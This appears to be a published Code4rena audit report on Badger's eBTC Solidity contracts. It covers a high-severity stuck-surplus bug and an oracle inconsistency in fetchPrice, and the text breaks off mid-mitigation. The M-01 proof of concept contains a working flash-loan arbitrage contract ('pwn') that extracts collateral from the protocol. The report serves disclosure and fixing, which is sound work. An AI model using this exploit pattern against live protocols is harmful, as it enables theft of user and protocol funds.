Badger eBTC Audit + Certora Formal Verification Competition
Findings & Analysis Report

2024-02-13

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Badger eBTC smart contract system written in Solidity. The audit took place between October 24—November 14 2023.

Alongside the C4 audit, a formal verification competition was held in partnership with Certora. The summary of the formal verification competition is appended below the audit report.

Wardens

95 Wardens contributed reports to the Badger eBTC Audit + Certora Formal Verification Competition:

  1. Stormy
  2. TrungOre
  3. 0xBeirao
  4. ether_sky
  5. shaka
  6. 0xRobocop
  7. SpicyMeatball
  8. rvierdiiev
  9. Nyx
  10. nobody2018
  11. BARW (BenRai and albertwh1te)
  12. DavidGiladi
  13. hunter_w3b
  14. hihen
  15. cheatc0d3
  16. zabihullahazadzoi
  17. unique
  18. JCK
  19. Sathish9098
  20. Madalad
  21. codeslide
  22. oualidpro
  23. lsaudit
  24. ge6a
  25. prapandey031
  26. ladboy233
  27. peanuts
  28. LokiThe5th
  29. OMEN
  30. jasonxiale
  31. wangxx2026
  32. alpha
  33. nonseodion
  34. SY_S
  35. petrichor
  36. sivanesh_808
  37. 0xhex
  38. tala7985
  39. mgf15
  40. 0xta
  41. SAQ
  42. jamshed
  43. Collinsoden
  44. ybansal2403
  45. alexzoid
  46. 7ashraf
  47. twicek
  48. twcctop
  49. niroh
  50. bdmcbri
  51. fatherOfBlocks
  52. 0x00ffDa
  53. 0xlemon
  54. 0xvj
  55. 3docSec
  56. Arion
  57. BAHOZ
  58. bharg4v
  59. Bolby
  60. brgltd
  61. capriza
  62. chrollophantom
  63. DarkTower (Gelato_ST, OxTenma, 0xrex, and Maroutis)
  64. deadbee
  65. degensec
  66. desaperh
  67. dirtymic
  68. etherhood
  69. imare
  70. invitedtea
  71. jessicapointing
  72. Junnon
  73. kento
  74. Kirkeelee
  75. linuslandin
  76. naszam
  77. neumo
  78. nican0r
  79. Nikki
  80. peritoflores
  81. polarzero
  82. PPrieditis
  83. sashik_eth
  84. saul
  85. Testerbot
  86. VicenteM
  87. vipe0x
  88. vittdav
  89. yjrwkk
  90. yojeff
  91. zapaz

This audit was judged by ronnyx2017.

Final report assembled by PaperParachute and liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 7 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 6 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 26 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 24 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Badger eBTC repository, and is composed of 39 smart contracts written in the Solidity programming language and includes 5714 lines of Solidity code.

In addition to the known issues identified by the project team, an Automated Findings report was generated using the 4naly3er bot and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (1)

[H-01] Loss of user funds, as LeverageMacroReferences can’t do an arbitrary system call to the function claimsSurplusCollShare in order to claim the extra surplus collateral gained from their liquidated or fully redeemed Cdps

Submitted by Stormy, also found by SpicyMeatball

On a short explanation, leverage macros are contracts specifically made to interact with the eBTC system, with a leverage macro you can:

  • Open, adjust and close Cdps
  • Take eBTC, stETH flashloans
  • Make swaps in DEXes
  • Do arbitrary calls

Everyone is free to make a call to one of the functions in LeverageMacroFactory and deploy a new copy of the reference implementation of LeverageMacro for self use.

    /// @notice Deploys a new macro for you
    function deployNewMacro() external returns (address) {
        return deployNewMacro(msg.sender);
    }
    /// @notice Deploys a new macro for an owner, only they can operate the macro
    function deployNewMacro(address _owner) public returns (address) {
        address addy = address(
            new LeverageMacroReference(
                borrowerOperations,
                activePool,
                cdpManager,
                ebtcToken,
                stETH,
                sortedCdps,
                _owner
            )
        );

        emit DeployNewMacro(_owner, addy);

        return addy;
    }

While having an opened Cdp position, there is always a chance for your position to be fully redeemed or liquidated. In this two cases there will always be a surplus collateral left to the owner of the Cdp when:

  • A Cdp with ICR >= MCR is fully redeemed.
  • A Cdp with ICR > MCR is fully liquidated in recovery mode.

Any surplus collateral is send to the CollSurplusPool, which can later be claimed by the owner of the Cdp. The only way for an owner to claim his surplus collateral is to call the function claimSurplusCollShares in borrowerOperations, which is the only entry point to the CollSurplusPool.

    /// @notice Claim remaining collateral from a redemption or from a liquidation with ICR > MCR in Recovery Mode
    /// @notice when a Cdp has been fully redeemed from and closed, or liquidated in Recovery Mode with a collateralization ratio higher enough (like over MCR)
    /// @notice the borrower is allowed to claim their stETH collateral surplus that remains in the system if any
    function claimSurplusCollShares() external override {
        // send ETH from CollSurplus Pool to owner
        collSurplusPool.claimSurplusCollShares(msg.sender);
    }

The problem here is that LeverageMacroReferences don’t have build in feature to claim the surplus collateral from its fully redeemed or liquidated Cdps. In this case the only way for LeverageMacroReference to claim the surplus collateral is to make an arbitrary call to the function claimSurplusCollShares in borrowerOperations. However this isn’t possible as the LeverageMacroReference ensures there aren’t any arbitrary calls made to the system contracts.

As we can see In _doSwap the first thing the function does, is to call the internal function _ensureNotSystem which ensures that the arbitraty call isn’t made to any of the system contracts. Duo to that the function _doSwap will revert when a LeverageMacroReference tries to make an arbitrary call to borrowerOperations.

    /// @dev Prevents doing arbitrary calls to protected targets
    function _ensureNotSystem(address addy) internal {
        /// @audit Check and add more if you think it's better
        require(addy != address(borrowerOperations));
        require(addy != address(sortedCdps));
        require(addy != address(activePool));
        require(addy != address(cdpManager));
        require(addy != address(this)); // If it could call this it could fake the forwarded caller
    }
    function _doSwap(SwapOperation memory swapData) internal {
        // Ensure call is safe
        // Block all system contracts
        _ensureNotSystem(swapData.addressForSwap);

        // Exact approve
        // Approve can be given anywhere because this is a router, and after call we will delete all approvals
        IERC20(swapData.tokenForSwap).safeApprove(
            swapData.addressForApprove,
            swapData.exactApproveAmount
        );

        // Call and perform swap
        // NOTE: Technically approval may be different from target, something to keep in mind
        // Call target are limited
        // But technically you could approve w/e you want here, this is fine because the contract is a router and will not hold user funds
        (bool success, ) = excessivelySafeCall(
            swapData.addressForSwap,
            gasleft(),
            0,
            0,
            swapData.calldataForSwap
        );
        require(success, "Call has failed");

        // Approve back to 0
        // Enforce exact approval
        // Can use max because the tokens are OZ
        // val -> 0 -> 0 -> val means this is safe to repeat since even if full approve is unused, we always go back to 0 after
        IERC20(swapData.tokenForSwap).safeApprove(swapData.addressForApprove, 0);

        // Do the balance checks after the call to the aggregator
        _doSwapChecks(swapData.swapChecks);
    }

Since there is no built in feature to claim the surplus collateral and LeverageMacroReference can’t make an arbitrary call to borrowerOperations. Any surplus collateral owned by LeverageMacroReference can’t be further claimed back and will be permanently stuck in CollSurplusPool.

Proof of Concept

POC steps in the function testLeverageIssue:
- Step 1: Get the macro's owner and check if the owner is the wallet address.
- Step 2: Get data for the function doOperation.
- Step 3: Approve leverage with the Cdps's collateral + liquidator rewards.
- Step 4: Call the function doOperation twice and open two Cdps.
- Step 5: Check one of the Cdps was opened && the macro address is the Cdp owner.
- Step 6: The macro reference always sweeps back to the wallet, but make sure that happens.
- Step 7: Redeem fully back one of the Cdps to gain a surplus collateral in the surplus pool.
- Step 8: Make sure the Cdp was fully redeemed.
- Step 9: Check that the macro received surplus collateral from the redeeming.
- Step 10: Preparing data for the swap and the arbitrary call.
- Step 11: Do arbitrary call to the function claimSurplusCollShares in borrowerOperations.
- Final: Expect revert as the leverage macro can't make arbitrary calls to the system contracts.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import {SimplifiedDiamondLike} from "../contracts/SimplifiedDiamondLike.sol";

import {eBTCBaseInvariants} from "./BaseInvariants.sol";
import {LeverageMacroReference} from "../contracts/LeverageMacroReference.sol";
import {LeverageMacroBase} from "../contracts/LeverageMacroBase.sol";
import {ICdpManagerData} from "../contracts/Interfaces/ICdpManagerData.sol";

contract LeverageMacroReferenceIssue is eBTCBaseInvariants {

    address wallet = address(0xbad455);

    LeverageMacroReference macro_reference;
    LeverageMacroBase macro_base;

    function setUp() public override {
        super.setUp();

        connectCoreContracts();
        connectLQTYContractsToCore();

        // straight creating new macro reference for the test
        macro_reference = new LeverageMacroReference(
            address(borrowerOperations),
            address(activePool),
            address(cdpManager),
            address(eBTCToken),
            address(collateral),
            address(sortedCdps),
            wallet
        );

        dealCollateral(wallet, 100e18);
    }

    function testLeverageIssue() public {

        vm.startPrank(wallet);

        // Step 1: Get the macro's owner and check if the owner is the wallet address
        address macroOwner = macro_reference.owner();
        assert(wallet == macroOwner);

        // Step 2: Get data for the function doOperation
        LeverageMacroBase.SwapOperation[] memory _levSwapsBefore;
        LeverageMacroBase.SwapOperation[] memory _levSwapsAfter;

        uint256 netColl = 11e18;

        uint256 grossColl = netColl + cdpManager.LIQUIDATOR_REWARD();

        uint256 debt = _utils.calculateBorrowAmount(
            netColl,
            priceFeedMock.fetchPrice(),
            COLLATERAL_RATIO
        );

        LeverageMacroBase.OpenCdpOperation memory _opData = LeverageMacroBase.OpenCdpOperation(
            debt,
            bytes32(0),
            bytes32(0),
            grossColl
        );

        bytes memory _opDataEncoded = abi.encode(_opData);

        LeverageMacroBase.LeverageMacroOperation memory operation = LeverageMacroBase
            .LeverageMacroOperation(
                address(collateral),
                (grossColl - 0),
                _levSwapsBefore,
                _levSwapsAfter,
                LeverageMacroBase.OperationType.OpenCdpOperation,
                _opDataEncoded
            );

        LeverageMacroBase.PostCheckParams memory postCheckParams = LeverageMacroBase
            .PostCheckParams({
                expectedDebt: LeverageMacroBase.CheckValueAndType({
                    value: 0,
                    operator: LeverageMacroBase.Operator.skip
                }),
                expectedCollateral: LeverageMacroBase.CheckValueAndType({
                    value: 0,
                    operator: LeverageMacroBase.Operator.skip
                }),
                cdpId: bytes32(0),
                expectedStatus: ICdpManagerData.Status.active
            });

        // Step 3: Approve leverage with the Cdps's collateral + liquidator rewards.
        collateral.approve(address(macro_reference), 22e18 + 4e17);

        // Step 4: Call the function doOperation twice and open two Cdps
        // Need more than one Cdp in the system to fully redeem a Cdp.
        macro_reference.doOperation(
                    LeverageMacroBase.FlashLoanType.noFlashloan,
                    0,
                    operation,
                    LeverageMacroBase.PostOperationCheck.openCdp,
                    postCheckParams
                );

        macro_reference.doOperation(
                    LeverageMacroBase.FlashLoanType.noFlashloan,
                    0,
                    operation,
                    LeverageMacroBase.PostOperationCheck.openCdp,
                    postCheckParams
                );

        // Step 5: Check one of the Cdps was opened && the macro address is the Cdp owner
        bytes32 cdpId = sortedCdps.cdpOfOwnerByIndex(address(macro_reference), 0);
        address cdpOwner = sortedCdps.getOwnerAddress(cdpId);
        assert(address(macro_reference) == cdpOwner);

        // Step 6: The macro reference always sweeps back to the wallet, but make sure that happens
        uint256 balance = eBTCToken.balanceOf(wallet);
        assert(balance == (debt * 2)); // The debt of the 2 Cdps opened

        // Step 7: Redeem fully back one of the Cdps to gain a surplus collateral in the surplus pool
        cdpManager.redeemCollateral(debt, cdpId, bytes32(0), bytes32(0), 0, 0, 1e18);

        // Step 8: Make sure the Cdp was fully redeemed
        bool redeemed = sortedCdps.contains(cdpId); // False means its not in the list == redeemed
        assert(redeemed == false);

        // Step 9: Check that the macro received surplus collateral from the redeeming
        uint256 surplusColl = collSurplusPool.getSurplusCollShares(address(macro_reference));
        assert(surplusColl > 0);

        // Step 10: Preparing data for the swap and the arbitrary call.
        LeverageMacroBase.SwapCheck[] memory _swapChecks = new LeverageMacroBase.SwapCheck[](1);
        _swapChecks[0] = LeverageMacroBase.SwapCheck(address(0), 0); // empty

        LeverageMacroBase.SwapOperation memory swap = LeverageMacroBase.SwapOperation(
            address(0),
            address(0),
            0,
            address(borrowerOperations),
            abi.encodeCall(borrowerOperations.claimSurplusCollShares, ()),
            _swapChecks
        );

        // Step 11: Do arbitrary call to the function claimSurplusCollShares in borrowerOperations
        // Expect revert as the macro ensures there aren't calls to the system contracts
        // Macro isn't able to call borrowerOperations, check the function _ensureNotSystem.
        vm.expectRevert();
        _doSwap(swap);

        vm.stopPrank();
    }

    // Removing everything else expect the _ensureNotSystem and the excessivelySafeCall function
    // (don't need the other parts for the issue showcase)
    function _doSwap(LeverageMacroBase.SwapOperation memory swapData) internal {
        // Ensure call is safe
        // Block all system contracts
        _ensureNotSystem(swapData.addressForSwap);

        // Call and perform swap
        // NOTE: Technically approval may be different from target, something to keep in mind
        // Call target are limited
        // But technically you could approve w/e you want here, this is fine because the contract is a router and will not hold user funds
        (bool success, ) = excessivelySafeCall(
            swapData.addressForSwap,
            gasleft(),
            0,
            0,
            swapData.calldataForSwap
        );
        require(success, "Call has failed");
    }

    function excessivelySafeCall(
        address _target,
        uint256 _gas,
        uint256 _value,
        uint16 _maxCopy,
        bytes memory _calldata
    ) internal returns (bool, bytes memory) {
        // set up for assembly call
        uint256 _toCopy;
        bool _success;
        bytes memory _returnData = new bytes(_maxCopy);
        // dispatch message to recipient
        // by assembly calling "handle" function
        // we call via assembly to avoid memcopying a very large returndata
        // returned by a malicious contract
        assembly {
            _success := call(
                _gas, // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 0x20), // inloc
                mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )
            // limit our copy to 256 bytes
            _toCopy := returndatasize()
            if gt(_toCopy, _maxCopy) {
                _toCopy := _maxCopy
            }
            // Store the length of the copied bytes
            mstore(_returnData, _toCopy)
            // copy the bytes from returndata[0:_toCopy]
            returndatacopy(add(_returnData, 0x20), 0, _toCopy)
        }
        return (_success, _returnData);
    }

        /// @dev Prevents doing arbitrary calls to protected targets
    function _ensureNotSystem(address addy) internal {
        require(addy != address(borrowerOperations));
        require(addy != address(sortedCdps));
        require(addy != address(activePool));
        require(addy != address(cdpManager));
        require(addy != address(this));
    }
}

Allowing LeverageMacroReference to do an arbitrary call to one of the system contracts brings bigger risk. So I would say the best recommendation is to build a feature for the LeverageMacroReference to do a claim surplus operation in order to claim its surplus collateral from CollSurplusPool:

  • Adjust the enum to have a claim surplus operations as well
    enum OperationType {
        OpenCdpOperation,
        AdjustCdpOperation,
        CloseCdpOperation,
+       ClaimSurplusOperation 
    }
  • Add a new else if statement which is triggered when the operation is ClaimSurplusOperation, in the statement the new internal function _claimSurplusCallback is called.
    function _handleOperation(LeverageMacroOperation memory operation) internal {
        uint256 beforeSwapsLength = operation.swapsBefore.length;
        if (beforeSwapsLength > 0) {
            _doSwaps(operation.swapsBefore);
        }

        // Based on the type we do stuff
        if (operation.operationType == OperationType.OpenCdpOperation) {
            _openCdpCallback(operation.OperationData);
        } else if (operation.operationType == OperationType.CloseCdpOperation) {
            _closeCdpCallback(operation.OperationData);
        } else if (operation.operationType == OperationType.AdjustCdpOperation) {
            _adjustCdpCallback(operation.OperationData);
+       } else if (operation.operationType == OperationType.ClaimSurplusOperation {
           _claimSurplusCallback();
        }

        uint256 afterSwapsLength = operation.swapsAfter.length;
        if (afterSwapsLength > 0) {
            _doSwaps(operation.swapsAfter);
        }
    }
  • Create the new internal function _claimSurplusCallback, which makes a call to the function claimSurplusCollShares in borrowerOperations and claims the leverage macro’s surplus collateral from CollSurplusPool.
+   function _claimSurplusCallback() internal {
+       borrowerOperations.claimSurplusCollShares();
+   }
  • After the recommendation LeverageMacroReferences are able to claim the surplus collateral of their fully redeemed or liquidated Cdps and everyone should be happy.

Alex the Entreprenerd (Badger) confirmed and commented:

The finding is valid in that you cannot claim the surplus.

You could argue it requires being redeemed or liquidated, but I don’t think that can be considered an external requirement since it’s a normal behaviour.

ronnyx2017 (Judge) commented:

Meet high: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).


Medium Risk Findings (6)

[M-01] fetchPrice can return different prices in the same transaction

Submitted by shaka, also found by ether_sky

https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/PriceFeed.sol#L341

https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/PriceFeed.sol#L231

PriceFeed.sol:fetchPrice() can return different prices in the same transaction when Chainlink price changes over 50% and the fallback oracle is not set.

In the scenario of the fallback oracle not set and the Chainlink oracle working correctly the status is usingChainlinkFallbackUntrusted. If the Chainlink price changes over 50%, the condition of line 340 evaluates to true, so the last good price is returned and the status is set to bothOraclesUntrusted.

313        // --- CASE 5: Using Chainlink, Fallback is untrusted ---
314        if (status == Status.usingChainlinkFallbackUntrusted) {
    (...)
340            if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) {
341                _changeStatus(Status.bothOraclesUntrusted);
342                return lastGoodPrice;
343            }

However, if the price is requested again and the Chainlink price still returns a price change over 50% from the previous round, having the status set to bothOraclesUntrusted will cause the condition of line 220 to evaluate to true and, given that the fallback oracle is not set and the Chainlink oracle is neither broken nor frozen, the price returned will be the current Chainlink price.

219        // --- CASE 3: Both oracles were untrusted at the last price fetch ---
220        if (status == Status.bothOraclesUntrusted) {
221            /*
222             * If there's no fallback, only use Chainlink
223             */
224            if (address(fallbackCaller) == address(0)) {
225                // If CL has resumed working
226                if (
227                    !_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) &&
228                    !_chainlinkIsFrozen(chainlinkResponse)
229                ) {
230                    _changeStatus(Status.usingChainlinkFallbackUntrusted);
231                    return _storeChainlinkPrice(chainlinkResponse.answer);
232                }
233            }

Impact

A difference in the price returned by fetchPrice in the same transaction can be exploited to perform an arbitrage in different ways.

In the case of an increase of over 50% in the Chainlink price, a user can redeem a CDP with the last good price and then open a new CDP with the current Chainlink price, obtaining a collateral surplus.

In the case of a decrease over 50%, a user can open a CDP with the last good price and then redeem it with the current Chainlink price, obtaining a collateral surplus.

In both cases, the collateral surplus is obtained at the expense of the protocol with no risk for the user.

Proof of Concept

PoC 1

This PoC shows that fetchPrice can return different prices in the same transaction when the Chainlink price changes over 50% and the fallback oracle is not set.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import {IPriceFeed} from "../contracts/Interfaces/IPriceFeed.sol";
import {PriceFeed} from "../contracts/PriceFeed.sol";
import {PriceFeedTester} from "../contracts/TestContracts/PriceFeedTester.sol";
import {MockTellor} from "../contracts/TestContracts/MockTellor.sol";
import {MockAggregator} from "../contracts/TestContracts/MockAggregator.sol";
import {eBTCBaseFixture} from "./BaseFixture.sol";
import {TellorCaller} from "../contracts/Dependencies/TellorCaller.sol";
import {AggregatorV3Interface} from "../contracts/Dependencies/AggregatorV3Interface.sol";

contract AuditPriceFeedTest is eBTCBaseFixture {
    address constant STETH_ETH_CL_FEED = 0x86392dC19c0b719886221c78AB11eb8Cf5c52812;

    PriceFeedTester internal priceFeedTester;
    MockAggregator internal _mockChainLinkEthBTC;
    MockAggregator internal _mockChainLinkStEthETH;
    uint80 internal latestRoundId = 321;
    int256 internal initEthBTCPrice = 7428000;
    int256 internal initStEthETHPrice = 9999e14;
    uint256 internal initStEthBTCPrice = 7428e13;
    address internal authUser;

    function setUp() public override {
        eBTCBaseFixture.setUp();
        eBTCBaseFixture.connectCoreContracts();
        eBTCBaseFixture.connectLQTYContractsToCore();

        // Set current and prev price
        _mockChainLinkEthBTC = new MockAggregator();
        _initMockChainLinkFeed(_mockChainLinkEthBTC, latestRoundId, initEthBTCPrice, 8);
        _mockChainLinkStEthETH = new MockAggregator();
        _initMockChainLinkFeed(_mockChainLinkStEthETH, latestRoundId, initStEthETHPrice, 18);

        priceFeedTester = new PriceFeedTester(
            address(0), // fallback oracle not set
            address(authority),
            address(_mockChainLinkStEthETH),
            address(_mockChainLinkEthBTC)
        );
        priceFeedTester.setStatus(IPriceFeed.Status.usingChainlinkFallbackUntrusted);

        // Grant permission on price feed
        authUser = _utils.getNextUserAddress();
        vm.startPrank(defaultGovernance);
        authority.setUserRole(authUser, 4, true);
        authority.setRoleCapability(4, address(priceFeedTester), SET_FALLBACK_CALLER_SIG, true);
        vm.stopPrank();
    }

    function _initMockChainLinkFeed(
        MockAggregator _mockFeed,
        uint80 _latestRoundId,
        int256 _price,
        uint8 _decimal
    ) internal {
        _mockFeed.setLatestRoundId(_latestRoundId);
        _mockFeed.setPrevRoundId(_latestRoundId - 1);
        _mockFeed.setPrice(_price);
        _mockFeed.setPrevPrice(_price);
        _mockFeed.setDecimals(_decimal);
        _mockFeed.setUpdateTime(block.timestamp);
    }

    function testPriceChangeOver50PerCent() public {
        uint256 lastGoodPrice = priceFeedTester.lastGoodPrice();

        // Price change over 50%
        int256 newEthBTCPrice = (initEthBTCPrice * 2) + 1;
        _mockChainLinkEthBTC.setPrice(newEthBTCPrice);

        // Get price
        uint256 newPrice = priceFeedTester.fetchPrice();
        IPriceFeed.Status status = priceFeedTester.status();
        assertEq(newPrice, lastGoodPrice); // last good price is used
        assertEq(uint256(status), 2); // bothOraclesUntrusted
        
        // Get price again in the same block (no changes in ChainLink price)
        newPrice = priceFeedTester.fetchPrice();
        status = priceFeedTester.status();
        assertGt(newPrice, lastGoodPrice * 2); // current ChainLink price is used
        assertEq(uint256(status), 4); // usingChainlinkFallbackUntrusted
    }
}
PoC 2

This PoC shows how to exploit the vulnerability to perform an arbitrage.

PriceFeedTestnet.sol has been edited to simulate the scenario proved in the previous test, where the first call to fetchPrice returns the last good price and the second call returns the current Chainlink price.

@@ -44,6 +44,12 @@ contract PriceFeedTestnet is IPriceFeed, Ownable, AuthNoOwner {
         return _price;
     }
 
+    bool private isFirstCall = true;
+
+    function setIsFirstCall(bool _isFirstCall) external {
+        isFirstCall = _isFirstCall;
+    }
+
     function fetchPrice() external override returns (uint256) {
         // Fire an event just like the mainnet version would.
         // This lets the subgraph rely on events to get the latest price even when developing locally.
@@ -53,8 +59,13 @@ contract PriceFeedTestnet is IPriceFeed, Ownable, AuthNoOwner {
                 _price = fallbackResponse.answer;
             }
         }
-        emit LastGoodPriceUpdated(_price);
-        return _price;
+
+        if (isFirstCall) {
+            isFirstCall = false;
+            return _price;
+        } else {
+            return _price * 2 + 1;
+        }
     }
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";

import {eBTCBaseFixture} from "./BaseFixture.sol";
import {IERC20} from "../contracts/Dependencies/IERC20.sol";
import {IERC3156FlashLender} from "../contracts/Interfaces/IERC3156FlashLender.sol";
import {IBorrowerOperations} from "../contracts/Interfaces/IBorrowerOperations.sol";
import {IERC3156FlashBorrower} from "../contracts/Interfaces/IERC3156FlashBorrower.sol";
import {ICdpManager} from "../contracts/Interfaces/ICdpManager.sol";
import {HintHelpers} from "../contracts/HintHelpers.sol";

contract AuditArbitrageTest is eBTCBaseFixture {
    FlashLoanBorrower internal flashBorrower;
    uint256 internal initialPrice;

    function setUp() public override {
        eBTCBaseFixture.setUp();
        eBTCBaseFixture.connectCoreContracts();
        eBTCBaseFixture.connectLQTYContractsToCore();

        // Create a CDP to have collateral in the protocol
        initialPrice = priceFeedMock.getPrice();
        uint256 _coll = 1_000e18;
        uint256 _debt = (_coll * initialPrice) / 200e16;
        dealCollateral(address(this), _coll + cdpManager.LIQUIDATOR_REWARD());
        collateral.approve(address(borrowerOperations), type(uint256).max);
        borrowerOperations.openCdp(_debt, bytes32(0), bytes32(0), _coll + cdpManager.LIQUIDATOR_REWARD());
        // Reset `isFirstCall` to true, as `fetchPrice` is called on `openCdp`
        priceFeedMock.setIsFirstCall(true);

        // Create flash loan borrower
        flashBorrower = new FlashLoanBorrower(
            address(collateral),
            address(eBTCToken),
            address(borrowerOperations),
            address(cdpManager),
            address(hintHelpers)
        );
    }

    function testArbitragePriceChangeOver50PerCent() public {
        assertEq(collateral.balanceOf(address(flashBorrower)), 0);
        assertEq(eBTCToken.balanceOf(address(flashBorrower)), 0);
        assertEq(activePool.getSystemCollShares(), 1_000e18);

        uint256 eBTCBborrowAmount = 10e18;
        flashBorrower.pwn(eBTCBborrowAmount, initialPrice);

        uint256 minExpectedCollProfit = 40e18;
        assertGt(collateral.balanceOf(address(flashBorrower)), minExpectedCollProfit);
        assertLt(collateral.balanceOf(address(flashBorrower)), 1_000e18 - minExpectedCollProfit);
    }
}

contract FlashLoanBorrower {
    IERC20 public immutable collateral;
    IERC20 public immutable eBTCToken;
    IBorrowerOperations public immutable borrowerOperations;
    ICdpManager public immutable cdpManager;
    HintHelpers public immutable hintHelpers;

    constructor(
        address _collateral,
        address _eBTCToken,
        address _borrowerOperations,
        address _cdpManager,
        address _hintHelpers
    ) {
        collateral = IERC20(_collateral);
        eBTCToken = IERC20(_eBTCToken);
        borrowerOperations = IBorrowerOperations(_borrowerOperations);
        cdpManager = ICdpManager(_cdpManager);
        hintHelpers = HintHelpers(_hintHelpers);
        collateral.approve(_borrowerOperations, type(uint256).max);
        eBTCToken.approve(_borrowerOperations, type(uint256).max);
    }

    function pwn(
        uint256 amount,
        uint256 price
    ) external {
        IERC3156FlashLender(address(borrowerOperations)).flashLoan(
            IERC3156FlashBorrower(address(this)),
            address(eBTCToken),
            amount,
            abi.encodePacked(price)
        );
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        uint256 price = abi.decode(data, (uint256));

        // Redeem collateral with `amount` eBTC at last valid price
        (bytes32 firstRedemptionHint, uint256 partialRedemptionHintNICR, , ) = hintHelpers
            .getRedemptionHints(amount, price, 0);
        cdpManager.redeemCollateral(
            amount,
            firstRedemptionHint,
            firstRedemptionHint,
            firstRedemptionHint,
            partialRedemptionHintNICR,
            0,
            1e18
        );

        // Open CDP with redeemed collateral at new price (now we receive more eBTC than `amount`)
        uint256 coll = collateral.balanceOf(address(this));
        uint256 newPrice = price * 2 + 1;
        uint256 debt = ((coll - 2e17 /*LIQUIDATOR_REWARD*/) * newPrice) / 110e16;
        bytes32 cdpId = borrowerOperations.openCdp(debt, bytes32(0), bytes32(0), coll);

        // Repay surplus eBTC and withdraw its proportional collateral
        uint256 availableEBTC = eBTCToken.balanceOf(address(this)) - (amount + fee);
        uint256 collToRedeem = (availableEBTC * 110e16) / newPrice;
        borrowerOperations.adjustCdp(cdpId, collToRedeem, availableEBTC, false, bytes32(0), bytes32(0));

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}
            // If Chainlink price has changed by > 50% between two consecutive rounds, compare it to Fallback's price
-           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) {
+           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse) && address(fallbackCaller) != address(0)) {
                // If Fallback is broken, both oracles are untrusted, and return last good price
                // We don't trust CL for now given this large price differential
                if (_fallbackIsBroken(fallbackResponse)) {
                    _changeStatus(Status.bothOraclesUntrusted);
                    return lastGoodPrice;
                }

    (...)

            // If Chainlink is live but deviated >50% from it's previous price and Fallback is still untrusted, switch
            // to bothOraclesUntrusted and return last good price
-           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) {
+           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse) && address(fallbackCaller) != address(0)) {
                _changeStatus(Status.bothOraclesUntrusted);
                return lastGoodPrice;
            }

Alex the Entreprenerd (Badger) confirmed, but disagreed with severity and commented:

The pre-requisite to this finding is CL having a 50% Deviation between two rounds.

This is extremely unlikely.

That said, the logic is incorrect and the finding is a valid gotcha we will fix.

rayeaster (Badger) commented:

I would suggest another fix approach different from above “Recommended Mitigation” since it make sense to set the status to bothOraclesUntrusted if fallback not set while CL got a big (>50%) reporting deviation between two rounds.

Using above “Recommended Mitigation” would result in exactly what it is trying to avoid: “the price returned will be the current Chainlink price”.

Since eBTC allows empty fallback (unlike original Liquity which always assumes the fallback is set) so additional checks are required to be executed around:

  • function _bothOraclesLiveAndUnbrokenAndSimilarPrice()
  • function _bothOraclesSimilarPrice()

to distinguish the scenarios when fallback is set (broken/frozen) AND when fallback is not set at all.

     function _bothOraclesLiveAndUnbrokenAndSimilarPrice(
        ChainlinkResponse memory _chainlinkResponse,
        ChainlinkResponse memory _prevChainlinkResponse,
        FallbackResponse memory _fallbackResponse
    ) internal view returns (bool) {
        // Return false if either oracle is broken or frozen
        if (
+          (address(fallbackCaller) != address(0) && (_fallbackIsBroken(_fallbackResponse) || _fallbackIsFrozen(_fallbackResponse))) ||
-           _fallbackIsBroken(_fallbackResponse) ||
-           _fallbackIsFrozen(_fallbackResponse) ||
            _chainlinkIsBroken(_chainlinkResponse, _prevChainlinkResponse) ||
            _chainlinkIsFrozen(_chainlinkResponse)
        ) {
            return false;
        }

        return _bothOraclesSimilarPrice(_chainlinkResponse, _fallbackResponse);
    }

    
    function _bothOraclesSimilarPrice(
        ChainlinkResponse memory _chainlinkResponse,
        FallbackResponse memory _fallbackResponse
    ) internal pure returns (bool) {
+       if (address(fallbackCaller) == address(0)){
+           return true;
+       }       
        // Get the relative price difference between the oracles. Use the lower price as the denominator, i.e. the reference for the calculation.
        uint256 minPrice = EbtcMath._min(_fallbackResponse.answer, _chainlinkResponse.answer);
        ......
    }

And finally, we need to apply some extra guards in the state machine for status bothOraclesUntrusted and ensure that the price-similarity comparison between primary & fallback oracle happens ONLY AFTER other single-source checks (bad/frozen/max-deviation):

  function fetchPrice() external override returns (uint256) {
        ......
        // --- CASE 3: Both oracles were untrusted at the last price fetch ---
